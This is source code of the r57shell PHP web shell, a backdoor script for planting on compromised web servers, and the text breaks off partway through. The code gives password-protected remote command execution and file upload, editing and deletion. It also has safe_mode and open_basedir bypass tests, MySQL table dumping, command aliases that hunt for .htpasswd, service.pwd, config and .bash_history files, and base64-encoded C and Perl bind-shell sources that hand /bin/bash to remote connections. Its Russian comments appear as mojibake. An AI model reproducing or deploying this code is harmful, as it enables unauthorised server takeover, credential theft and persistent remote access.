$_POST if(version_compare(phpversion(), '4.1.0') == -1) { $_POST = &$HTTP_POST_VARS; $_GET = &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; } /* magic_quotes */ if (@get_magic_quotes_gpc()) { foreach ($_POST as $k=>$v) { $_POST[$k]=stripslashes($v); } } /* ~~~ Àóòåíòèôèêàöèÿ ~~~ */ // Ëîãèí è ïàðîëü äëÿ äîñòóïà ê ñêðèïòó // ÍÅ ÇÀÁÓÄÜÒÅ ÑÌÅÍÈÒÜ ÏÅÐÅÄ ÐÀÇÌÅÙÅÍÈÅÌ ÍÀ ÑÅÐÂÅÐÅ!!! $name="r57"; // ëîãèí ïîëüçîâàòåëÿ $pass="r57"; // ïàðîëü ïîëüçîâàòåëÿ if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!=$name || $_SERVER['PHP_AUTH_PW']!=$pass) { header("WWW-Authenticate: Basic realm=\"r57shell\""); header("HTTP/1.0 401 Unauthorized"); exit("r57shell : Access Denied"); } $head = ' r57shell '; /* show phpinfo */ if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "
[ BACK ]
"; die(); } /* delete script */ if(isset($_GET['delete'])) { @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); } /* delete tmp files */ if(isset($_GET['tmp'])) { @unlink("/tmp/bdpl"); @unlink("/tmp/back"); @unlink("/tmp/bd"); @unlink("/tmp/bd.c"); @unlink("/tmp/dp"); @unlink("/tmp/dpc"); @unlink("/tmp/dpc.c"); } /* show php.ini vars */ if(isset($_GET['phpini'])) { echo $head; function U_value($value) { if ($value == '') return 'no value'; if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; if ($value === null) return 'NULL'; if (@is_object($value)) $value = (array) $value; if (@is_array($value)) { @ob_start(); print_r($value); $value = @ob_get_contents(); @ob_end_clean(); } return U_wordwrap((string) $value); } function U_wordwrap($str) { $str = @wordwrap(@htmlspecialchars($str), 100, '', true); return @preg_replace('!(&[^;]*)([^;]*;)!', '$1$2', $str); } if (@function_exists('ini_get_all')) { $r = ''; echo '', ''; foreach (@ini_get_all() as $key=>$value) { $r .= ''; } echo $r; echo '
Directive
Local Value
Master Value
'.ws(3).''.$key.'
'.U_value($value['local_value']).'
'.U_value($value['global_value']).'
'; } echo "
[ BACK ]
"; die(); } /* info about cpu */ if(isset($_GET['cpu'])) { echo $head; echo '
CPU
'; $cpuf = @file("cpuinfo"); if($cpuf) { $c = @sizeof($cpuf); for($i=0;$i<$c;$i++) { $info = @explode(":",$cpuf[$i]); if($info[1]==""){ $info[1]="---"; } $r .= ''; } echo $r; } else { echo ''; } echo '
'.ws(3).''.trim($info[0]).'
'.trim($info[1]).'
'.ws(3).'
---
'; echo "
[ BACK ]
"; die(); } /* info about mem */ if(isset($_GET['mem'])) { echo $head; echo '
MEMORY
'; $memf = @file("meminfo"); if($memf) { $c = sizeof($memf); for($i=0;$i<$c;$i++) { $info = explode(":",$memf[$i]); if($info[1]==""){ $info[1]="---"; } $r .= ''; } echo $r; } else { echo ''; } echo '
'.ws(3).''.trim($info[0]).'
'.trim($info[1]).'
'.ws(3).'
---
'; echo "
[ BACK ]
"; die(); } /* Âûáîð ÿçûêà $language='ru' - ðóññêèé $language='eng' - àíãëèéñêèé */ $language='ru'; $lang=array( 'ru_text1' =>'Âûïîëíåííàÿ êîìàíäà', 'ru_text2' =>'Âûïîëíåíèå êîìàíä íà ñåðâåðå', 'ru_text3' =>'Âûïîëíèòü êîìàíäó', 'ru_text4' =>'Ðàáî÷àÿ äèðåêòîðèÿ', 'ru_text5' =>'Çàãðóçêà ôàéëîâ íà ñåðâåð', 'ru_text6' =>'Ëîêàëüíûé ôàéë', 'ru_text7' =>'Àëèàñû', 'ru_text8' =>'Âûáåðèòå àëèàñ', 'ru_butt1' =>'Âûïîëíèòü', 'ru_butt2' =>'Çàãðóçèòü', 'ru_text9' =>'Îòêðûòèå ïîðòà è ïðèâÿçêà åãî ê /bin/bash', 'ru_text10'=>'Îòêðûòü ïîðò', 'ru_text11'=>'Ïàðîëü äëÿ äîñòóïà', 'ru_butt3' =>'Îòêðûòü', 'ru_text12'=>'back-connect', 'ru_text13'=>'IP-àäðåñ', 'ru_text14'=>'Ïîðò', 'ru_butt4' =>'Âûïîëíèòü', 'ru_text15'=>'Çàãðóçêà ôàéëîâ ñ óäàëåííîãî ñåðâåðà', 'ru_text16'=>'Èñïîëüçîâàòü', 'ru_text17'=>'Óäàëåííûé ôàéë', 'ru_text18'=>'Ëîêàëüíûé ôàéë', 'ru_text19'=>'Exploits', 'ru_text20'=>'Èñïîëüçîâàòü', 'ru_text21'=>'Íîâîå èìÿ', 'ru_text22'=>'datapipe', 'ru_text23'=>'Ëîêàëüíûé ïîðò', 'ru_text24'=>'Óäàëåííûé õîñò', 'ru_text25'=>'Óäàëåííûé ïîðò', 'ru_text26'=>'Èñïîëüçîâàòü', 'ru_butt5' =>'Çàïóñòèòü', 'ru_text28'=>'Ðàáîòà â safe_mode', 'ru_text29'=>'Äîñòóï çàïðåùåí', 'ru_butt6' =>'Ñìåíèòü', 'ru_text30'=>'Ïðîñìîòð ôàéëà', 'ru_butt7' =>'Âûâåñòè', 'ru_text31'=>'Ôàéë íå íàéäåí', 'ru_text32'=>'Âûïîëíåíèå PHP êîäà', 'ru_text33'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé open_basedir ÷åðåç ôóíêöèè cURL', 'ru_butt8' =>'Ïðîâåðèòü', 'ru_text34'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç ôóíêöèþ include', 'ru_text35'=>'Ïðîâåðêà âîçìîæíîñòè îáõîäà îãðàíè÷åíèé safe_mode ÷åðåç çàãðóçêó ôàéëà â mysql', 'ru_text36'=>'    Áàçà', 'ru_text37'=>'Ëîãèí', 'ru_text38'=>'Ïàðîëü  ', 'ru_text39'=>'Òàáëèöà', 'ru_text40'=>'Äàìï òàáëèöû mysql ñåðâåðà', 'ru_butt9' =>'Äàìï', 'ru_text41'=>'Ñîõðàíèòü äàìï â ôàéëå', 'ru_text42'=>'Ðåäàêòèðîâàíèå ôàéëà', 'ru_text43'=>'Ðåäàêòèðîâàòü ôàéë', 'ru_butt10'=>'Ñîõðàíèòü', 'ru_butt11'=>'Ðåäàêòèðîâàòü', 'ru_text44'=>'Ðåäàêòèðîâàíèå ôàéëà íåâîçìîæíî! Äîñòóï òîëüêî äëÿ ÷òåíèÿ!', 'ru_text45'=>'Ôàéë ñîõðàíåí', 'ru_text46'=>'Ïðîñìîòð phpinfo()', 'ru_text47'=>'Ïðîñìîòð íàñòðîåê php.ini', 'ru_text48'=>'Óäàëåíèå âðåìåííûõ ôàéëîâ', 'ru_text49'=>'Óäàëåíèå ñêðèïòà ñ ñåðâåðà', 'ru_text50'=>'Èíôîðìàöèÿ î ïðîöåññîðå', 'ru_text51'=>'Èíôîðìàöèÿ î ïàìÿòè', 'ru_text52'=>'Òåêñò äëÿ ïîèñêà', 'ru_text53'=>'Èñêàòü â ïàïêå', 'ru_text54'=>'Ïîèñê òåêñòà â ôàéëàõ', 'ru_butt12'=>'Íàéòè', 'ru_text55'=>'Òîëüêî â ôàéëàõ', 'ru_text56'=>'Íè÷åãî íå íàéäåíî', 'ru_text57'=>'Ñîçäàòü/Óäàëèòü Ôàéë/Äèðåêòîðèþ', 'ru_text58'=>'Èìÿ', 'ru_text59'=>'Ôàéë', 'ru_text60'=>'Äèðåêòîðèþ', 'ru_butt13'=>'Ñîçäàòü/Óäàëèòü', 'ru_text61'=>'Ôàéë ñîçäàí', 'ru_text62'=>'Äèðåêòîðèÿ ñîçäàíà', 'ru_text63'=>'Ôàéë óäàëåí', 'ru_text64'=>'Äèðåêòîðèÿ óäàëåíà', 'ru_text65'=>'Ñîçäàòü', 'ru_text66'=>'Óäàëèòü', 'ru_text67'=>'Chown/Chgrp/Chmod', 'ru_text68'=>'Êîìàíäà', 'ru_text69'=>'Ïàðàìåòð1', 'ru_text70'=>'Ïàðàìåòð2', 'ru_text71'=>"Âòîðîé ïàðàìåòð êîìàíäû:\r\n- äëÿ CHOWN - èìÿ íîâîãî ïîëüçîâàòåëÿ èëè åãî UID (÷èñëîì) \r\n- äëÿ êîìàíäû CHGRP - èìÿ ãðóïïû èëè GID (÷èñëîì) \r\n- äëÿ êîìàíäû CHMOD - öåëîå ÷èñëî â âîñüìåðè÷íîì ïðåäñòàâëåíèè (íàïðèìåð 0777)", 'ru_text72'=>'Òåêñò äëÿ ïîèñêà', 'ru_text73'=>'Èñêàòü â ïàïêå', 'ru_text74'=>'Èñêàòü â ôàéëàõ', 'ru_text75'=>'* ìîæíî èñïîëüçîâàòü ðåãóëÿðíîå âûðàæåíèå', 'ru_text76'=>'Ïîèñê òåêñòà â ôàéëàõ ñ ïîìîùüþ óòèëèòû find', /* --------------------------------------------------------------- */ 'eng_text1' =>'Executed command', 'eng_text2' =>'Execute command on server', 'eng_text3' =>' Run command', 'eng_text4' =>'Work directory', 'eng_text5' =>'Upload files on server', 'eng_text6' =>'Local file', 'eng_text7' =>'Aliases', 'eng_text8' =>'Select alias', 'eng_butt1' =>'Execute', 'eng_butt2' =>'Upload', 'eng_text9' =>'Bind port to /bin/bash', 'eng_text10'=>'Port', 'eng_text11'=>'Password for access', 'eng_butt3' =>'Bind', 'eng_text12'=>'back-connect', 'eng_text13'=>'IP', 'eng_text14'=>'Port', 'eng_butt4' =>'Connect', 'eng_text15'=>'Upload files from remote server', 'eng_text16'=>'       With', 'eng_text17'=>'  Remote file', 'eng_text18'=>'   Local file', 'eng_text19'=>'Exploits', 'eng_text20'=>'         Use', 'eng_text21'=>' New name', 'eng_text22'=>'datapipe', 'eng_text23'=>'Local port', 'eng_text24'=>'Remote host', 'eng_text25'=>'Remote port', 'eng_text26'=>'Use', 'eng_butt5' =>'Run', 'eng_text28'=>'Work in safe_mode', 'eng_text29'=>'ACCESS DENIED', 'eng_butt6' =>'Change', 'eng_text30'=>'      Cat file', 'eng_butt7' =>' Show ', 'eng_text31'=>'File not found', 'eng_text32'=>'Eval PHP code', 'eng_text33'=>'Test bypass open_basedir with cURL functions', 'eng_butt8' =>'Test', 'eng_text34'=>'Test bypass safe_mode with include function', 'eng_text35'=>'Test bypass safe_mode with load file in mysql', 'eng_text36'=>'Database', 'eng_text37'=>'Login', 'eng_text38'=>'Password', 'eng_text39'=>'Table', 'eng_text40'=>'Dump table from mysql server', 'eng_butt9' =>'Dump', 'eng_text41'=>'Save dump in file', 'eng_text42'=>'Edit files', 'eng_text43'=>'File for edit', 'eng_butt10'=>'Save', 'eng_text44'=>'Can\'t edit file! Only read access!', 'eng_text45'=>'File saved', 'eng_text46'=>'Show phpinfo()', 'eng_text47'=>'Show variables from php.ini', 'eng_text48'=>'Delete temp files', 'eng_butt11'=>'Edit file', 'eng_text49'=>'Delete script from server', 'eng_text50'=>'View cpu info', 'eng_text51'=>'View memory info', 'eng_text52'=>'Find text', 'eng_text53'=>'In dirs', 'eng_text54'=>'Find text in files', 'eng_butt12'=>'Find', 'eng_text55'=>'Only in files', 'eng_text56'=>'Nothing :(', 'eng_text57'=>'Create/Delete File/Dir', 'eng_text58'=>'name', 'eng_text59'=>'file', 'eng_text60'=>'dir', 'eng_butt13'=>'Create/Delete', 'eng_text61'=>'File created', 'eng_text62'=>'Dir created', 'eng_text63'=>'File deleted', 'eng_text64'=>'Dir deleted', 'eng_text65'=>'Create', 'eng_text66'=>'Delete', 'eng_text67'=>'Chown/Chgrp/Chmod', 'eng_text68'=>'Command', 'eng_text69'=>'param1', 'eng_text70'=>'param2', 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng_text72'=>'Text for find', 'eng_text73'=>'Find in folder', 'eng_text74'=>'Find in files', 'eng_text75'=>'* you can use regexp', 'eng_text76'=>'Search text in files via find', ); /* Àëèàñû êîìàíä Ïîçâîëÿþò èçáåæàòü ìíîãîêðàòíîãî íàáîðà îäíèõ è òåõ-æå êîìàíä. ( Ñäåëàíî áëàãîäàðÿ ìîåé ïðèðîäíîé ëåíè ) Âû ìîæåòå ñàìè äîáàâëÿòü èëè èçìåíÿòü êîìàíäû. */ $aliases=array( /* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ suid áèòîì */ 'find suid files'=>'find / -type f -perm -04000 -ls', /* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ ñ suid áèòîì */ 'find suid files in current dir'=>'find . -type f -perm -04000 -ls', /* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ sgid áèòîì */ 'find sgid files'=>'find / -type f -perm -02000 -ls', /* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ ñ sgid áèòîì */ 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', /* ïîèñê íà ñåðâåðå ôàéëîâ config.inc.php */ 'find config.inc.php files'=>'find / -type f -name config.inc.php', /* ïîèñê â òåê äèðå config.inc.php */ 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', /* ïîèñê íà ñåðâåðå ôàéëîâ config* */ 'find config* files'=>'find / -type f -name "config*"', /* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ config* */ 'find config* files in current dir'=>'find . -type f -name "config*"', /* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */ 'find all writable files'=>'find / -type f -perm -2 -ls', /* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */ 'find all writable files in current dir'=>'find . -type f -perm -2 -ls', /* ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé äîñòóïíûõ íà çàïèñü äëÿ âñåõ */ 'find all writable directories'=>'find / -type d -perm -2 -ls', /* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ äèðåêòîðèé äîñòóïíûõ íà çàïèñü äëÿ âñåõ */ 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', /* ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */ 'find all writable directories and files'=>'find / -perm -2 -ls', /* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */ 'find all writable directories and files in current dir'=>'find . -perm -2 -ls', /* ïîèñê íà ñåðâåðå ôàéëîâ service.pwd ... frontpage =))) */ 'find all service.pwd files'=>'find / -type f -name service.pwd', /* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ service.pwd */ 'find service.pwd files in current dir'=>'find . -type f -name service.pwd', /* ïîèñê íà ñåðâåðå ôàéëîâ .htpasswd */ 'find all .htpasswd files'=>'find / -type f -name .htpasswd', /* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .htpasswd */ 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', /* ïîèñê âñåõ ôàéëîâ .bash_history */ 'find all .bash_history files'=>'find / -type f -name .bash_history', /* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .bash_history */ 'find .bash_history files in current dir'=>'find . -type f -name .bash_history', /* ïîèñê âñåõ ôàéëîâ .fetchmailrc */ 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', /* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .fetchmailrc */ 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', /* âûâîä ñïèñêà àòðèáóòîâ ôàéëîâ íà ôàéëîâîé ñèñòåìå ext2fs */ 'list file attributes on a Linux second extended file system'=>'lsattr -va', /* ïðîñìîòð îòêðûòûõ ïîðòîâ */ 'show opened ports'=>'netstat -an | grep -i listen', '----------------------------------------------------------------------------------------------------'=>'ls -la' ); /* html */ $table_up1 = "
:: "; $table_up2 = " ::
"; $table_up3 = ""; $arrow = " è"; $lb = "["; $rb = "]"; $font = ""; /* change dir */ if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } $dir = @getcwd(); /* get OS */ $windows = 0; $unix = 0; if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; if(empty($dir)) { // íà ñëó÷àé åñëè íå óäàëîñü ïîëó÷èòü äèðåêòîðèþ $os = getenv('OS'); if(empty($os)){ $os = php_uname(); } // ïðîáóåì ïîëó÷èòü ÷åðåç php_uname() if(empty($os)){ $os ="-"; $unix=1; } // åñëè íè÷åãî íå ïîëó÷èëîñü òî áóäåò unix =) else { if(@eregi("^win",$os)) { $windows = 1; } else { $unix = 1; } } } /* search text in files */ if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") { echo $head; if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } $sr->SearchText(0,0); $res = $sr->GetResultFiles(); $found = $sr->GetMatchesCount(); $titles = $sr->GetTitles(); $r = ""; if($found > 0) { $r .= "
"; $table_end1 = "
"; foreach($res as $file=>$v) { $r .= ""; $r .= ""; foreach($v as $a=>$b) { $r .= ""; $r .= ""; $r .= ""; $r .= "\n"; } } $r .= "
".ws(3); $r .= ($windows)? str_replace("/","\\",$file) : $file; $r .= ""; $r .= "
".$a."".ws(2).$b."
"; echo $r; } else { echo "

".$lang[$language.'_text56']."

"; } echo "
[ BACK ]
"; die(); // show founded strings and die } /* Ïðîâåðêà òîãî ìîæåì ëè ìû âûïîëíÿòü êîìàíäû ïðè âûêëþ÷åííîì safe_mode. Åñëè íåò òî ñ÷èòàåì ÷òî ñåéô âêëþ÷åí */ /* Îáõîäèò íåâîçìîæíîñòü âûïîëíåíèÿ êîìàíä íà âèíäå êîãäà ñåéô âûêëþ÷åí íî cmd.exe ïåðåèìåíîâàí */ /* ëèáî êîãäà â php.ini ïðîïèñàíû disable_functions */ if($windows&&!$safe_mode) { $uname = ex("ver"); if(empty($uname)) { $safe_mode = 1; } } else if($unix&&!$safe_mode) { $uname = ex("uname"); if(empty($uname)) { $safe_mode = 1; } } /* get server info */ $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } /* FUNCTIONS */ /* WriteSpace */ /* tnx to virus for idea */ function ws($i) { return @str_repeat(" ",$i); } function ex($cfe) { if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } if(!empty($res)) return $res; else return 0; } /* write error */ function we($i) { if($GLOBALS['language']=="ru"){ $text = 'Îøèáêà! Íå ìîãó çàïèñàòü â ôàéë '; } else { $text = "[-] ERROR! Can't write in file "; } echo "
".$text.$i."
"; } /* read error */ function re($i) { if($GLOBALS['language']=="ru"){ $text = 'Îøèáêà! Íå ìîãó ïðî÷èòàòü ôàéë '; } else { $text = "[-] ERROR! Can't read file "; } echo "
".$text.$i."
"; } /* create error */ function ce($i) { if($GLOBALS['language']=="ru"){ $text = "Íå óäàëîñü ñîçäàòü "; } else { $text = "Can't create "; } echo "
".$text.$i."
"; } /* permissions */ function perms($mode) { if ($GLOBALS['windows']) return 0; if( $mode & 0x1000 ) $type='p'; else if( $mode & 0x2000 ) $type='c'; else if( $mode & 0x4000 ) $type='d'; else if( $mode & 0x6000 ) $type='b'; else if( $mode & 0x8000 ) $type='-'; else if( $mode & 0xA000 ) $type='l'; else if( $mode & 0xC000 ) $type='s'; else $type='u'; $owner["read"] = ($mode & 00400) ? 'r' : '-'; $owner["write"] = ($mode & 00200) ? 'w' : '-'; $owner["execute"] = ($mode & 00100) ? 'x' : '-'; $group["read"] = ($mode & 00040) ? 'r' : '-'; $group["write"] = ($mode & 00020) ? 'w' : '-'; $group["execute"] = ($mode & 00010) ? 'x' : '-'; $world["read"] = ($mode & 00004) ? 'r' : '-'; $world["write"] = ($mode & 00002) ? 'w' : '-'; $world["execute"] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; $s=sprintf("%1s", $type); $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); return trim($s); } /* find path to */ function which($pr) { if ($GLOBALS['windows']) { return 0; } $path = ex("which $pr"); if(!empty($path)) return $path; else return 0; } /* create file */ function cf($fname,$text) { $w_file=@fopen($fname,"w") or we($fname); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } } if (!@function_exists("view_size")) { function view_size($size) { if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} else {$size = $size . " B";} return $size; } } function DirFiles($dir,$types='') { $files = Array(); if($handle = @opendir($dir)) { while (false !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(!is_dir($dir."/".$file)) { if($types) { $pos = @strrpos($file,"."); $ext = @substr($file,$pos,@strlen($file)-$pos); if(@in_array($ext,@explode(';',$types))) $files[] = $dir."/".$file; } else $files[] = $dir."/".$file; } } } @closedir($handle); } return $files; } function DirFilesWide($dir) { $files = Array(); $dirs = Array(); if($handle = @opendir($dir)) { while (false !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(@is_dir($dir."/".$file)) { $file = @strtoupper($file); $dirs[$file] = '<DIR>'; } else $files[$file] = @filesize($dir."/".$file); } } @closedir($handle); @ksort($dirs); @ksort($files); $files = @array_merge($dirs,$files); } return $files; } function DirFilesR($dir,$types='') { $files = Array(); if($handle = @opendir($dir)) { while (false !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(@is_dir($dir."/".$file)) $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); else { $pos = @strrpos($file,"."); $ext = @substr($file,$pos,@strlen($file)-$pos); if($types) { if(@in_array($ext,explode(';',$types))) $files[] = $dir."/".$file; } else $files[] = $dir."/".$file; } } } @closedir($handle); } return $files; } function DirPrintHTMLHeaders($dir) { $handle = @opendir($dir) or die("Can't open directory $dir"); echo " \n"; @closedir($handle); } class SearchResult { var $text; var $FilesToSearch; var $ResultFiles; var $FilesTotal; var $MatchesCount; var $FileMatschesCount; var $TimeStart; var $TimeTotal; var $titles; function SearchResult($dir,$text,$filter='') { $dirs = @explode(";",$dir); $this->FilesToSearch = Array(); for($a=0;$aFilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); $this->text = $text; $this->FilesTotal = @count($this->FilesToSearch); $this->TimeStart = getmicrotime(); $this->MatchesCount = 0; $this->ResultFiles = Array(); $this->FileMatchesCount = Array(); $this->titles = Array(); } function GetFilesTotal() { return $this->FilesTotal; } function GetTitles() { return $this->titles; } function GetTimeTotal() { return $this->TimeTotal; } function GetMatchesCount() { return $this->MatchesCount; } function GetFileMatchesCount() { return $this->FileMatchesCount; } function GetResultFiles() { return $this->ResultFiles; } function SearchText($phrase=0,$case=0) { $qq = @explode(' ',$this->text); $delim = '|'; if($phrase) foreach($qq as $k=>$v) $qq[$k] = '\b'.$v.'\b'; $words = '('.@implode($delim,$qq).')'; $pattern = "/".$words."/"; if(!$case) $pattern .= 'i'; foreach($this->FilesToSearch as $k=>$filename) { $this->FileMatchesCount[$filename] = 0; $FileStrings = @file($filename) or @next; for($a=0;$a<@count($FileStrings);$a++) { $count = 0; $CurString = $FileStrings[$a]; $CurString = @Trim($CurString); $CurString = @strip_tags($CurString); if($count = @preg_match_all($pattern,$CurString,$aa)) { $CurString = @preg_replace($pattern,"\\1",$CurString); $this->ResultFiles[$filename][$a+1] = $CurString; $this->MatchesCount += $count; $this->FileMatchesCount[$filename] += $count; } } } $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); } } function getmicrotime() { list($usec,$sec) = @explode(" ",@microtime()); return ((float)$usec + (float)$sec); } /*** base64 ---------------------------------------------------------------------------------------------------- */ /* --- Port bind source C -------------------------------------------------------------------------------------- */ $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; /* --- END Port bind source C ---------------------------------------------------------------------------------- */ /* --- Port bind source PERL ----------------------------------------------------------------------------------- */ $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N lIENPTk47DQpleGl0IDA7DQp9DQp9"; /* --- END Port bind source PERL ------------------------------------------------------------------------------- */ /* --- Back connect source PERL -------------------------------------------------------------------------------- */ 